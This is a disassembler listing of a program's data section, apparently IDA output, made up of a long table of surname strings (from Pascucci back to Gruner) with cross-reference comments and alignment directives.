aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E94Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E948o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E944o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E940o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E93Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E938o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E934o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E930o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E92Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E928o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E924o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E920o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E91Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E918o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E914o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E910o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E90Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E908o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E904o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E900o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E8FCo
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E8F8o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E8F4o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E8F0o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E8ECo
aOman		db 'Oman',0             ; DATA XREF: ___:0042E8E8o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E8E4o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E8E0o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E8DCo
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E8D8o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E8D4o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E8D0o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E8CCo
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E8C8o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E8C4o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E8C0o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E8BCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E8B8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E8B4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E8B0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E8ACo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E8A8o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:0042E8A4o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E8A0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E89Co
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E898o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E894o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E890o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E88Co
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E888o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E884o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E880o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E87Co
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E878o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E874o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E870o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E86Co
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E868o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E864o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E860o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E85Co
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E858o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E854o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E850o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E84Co
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E848o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E844o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E840o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E83Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E838o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E834o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E830o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E82Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E828o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E824o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E820o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E81Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E818o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E814o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E810o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E80Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E808o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E804o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E800o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E7FCo
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E7F8o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E7F4o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E7F0o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E7ECo
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E7E8o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E7E4o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E7E0o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E7DCo
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E7D8o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E7D4o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E7D0o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E7CCo
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E7C8o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E7C4o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E7C0o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E7BCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E7B8o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E7B4o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E7B0o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E7ACo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E7A8o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E7A4o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E7A0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E79Co
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E798o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E794o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E790o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E78Co
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E788o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E784o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E780o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E77Co
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E778o
aMay		db 'May',0              ; DATA XREF: ___:0042E774o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E770o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E76Co
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E768o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E764o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E760o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E75Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E758o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E754o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E750o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E74Co
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E748o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E744o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E740o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E73Co
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E738o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E734o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E730o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E72Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E728o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E724o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E720o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E71Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E718o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E714o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E710o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E70Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E708o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E704o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E700o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E6FCo
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E6F8o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E6F4o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E6F0o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E6ECo
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E6E8o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E6E4o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: ___:0042E6E0o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E6DCo
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E6D8o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E6D4o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E6D0o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E6CCo
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E6C8o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E6C4o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E6C0o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E6BCo
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E6B8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E6B4o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E6B0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E6ACo
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E6A8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E6A4o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E6A0o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E69Co
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E698o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E694o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E690o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E68Co
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042E688o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E684o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E680o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E67Co
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E678o
aLine		db 'Line',0             ; DATA XREF: ___:0042E674o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E670o
		align 10h
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E66Co
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E668o
aLim		db 'Lim',0              ; DATA XREF: ___:0042E664o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E660o
		align 10h
aLight		db 'Light',0            ; DATA XREF: ___:0042E65Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E658o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E654o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E650o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E64Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E648o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E644o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E640o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E63Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E638o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E634o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E630o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E62Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E628o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E624o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E620o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E61Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E618o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E614o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E610o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E60Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E608o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E604o
aLa		db 'La',0               ; DATA XREF: ___:0042E600o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E5FCo
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E5F8o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E5F4o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E5F0o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E5ECo
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E5E8o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E5E4o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E5E0o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E5DCo
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E5D8o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E5D4o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E5D0o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E5CCo
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042E5C8o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E5C4o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E5C0o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E5BCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E5B8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E5B4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E5B0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E5ACo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E5A8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E5A4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E5A0o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E59Co
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E598o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E594o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E590o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E58Co
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E588o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E584o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E580o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E57Co
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E578o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E574o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E570o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E56Co
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E568o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E564o
		align 10h
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E560o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E55Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E558o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E554o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E550o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E54Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E548o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E544o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E540o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E53Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E538o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E534o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E530o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E52Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E528o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E524o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E520o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E51Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E518o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E514o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E510o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E50Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E508o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E504o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E500o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E4FCo
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E4F8o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E4F4o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E4F0o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E4ECo
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E4E8o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E4E4o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E4E0o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E4DCo
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E4D8o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E4D4o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E4D0o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E4CCo
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E4C8o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E4C4o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E4C0o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E4BCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E4B8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E4B4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E4B0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E4ACo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E4A8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E4A4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E4A0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E49Co
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E498o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E494o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E490o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E48Co
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E488o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E484o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E480o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E47Co
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E478o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E474o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E470o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E46Co
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E468o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E464o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E460o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E45Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E458o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E454o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E450o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E44Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E448o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E444o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E440o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E43Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E438o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E434o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E430o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E42Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E428o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E424o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E420o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E41Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E418o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E414o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E410o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E40Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E408o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042E404o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E400o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E3FCo
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E3F8o
aHester		db 'Hester',0           ; DATA XREF: ___:0042E3F4o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E3F0o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E3ECo
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E3E8o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E3E4o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E3E0o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E3DCo
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E3D8o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E3D4o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E3D0o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E3CCo
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E3C8o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E3C4o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E3C0o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E3BCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E3B8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E3B4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E3B0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E3ACo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E3A8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E3A4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E3A0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E39Co
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E398o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E394o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E390o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E38Co
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E388o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E384o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E380o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E37Co
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E378o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E374o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E370o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E36Co
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E368o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E364o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E360o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E35Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E358o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E354o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E350o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E34Co
		align 4
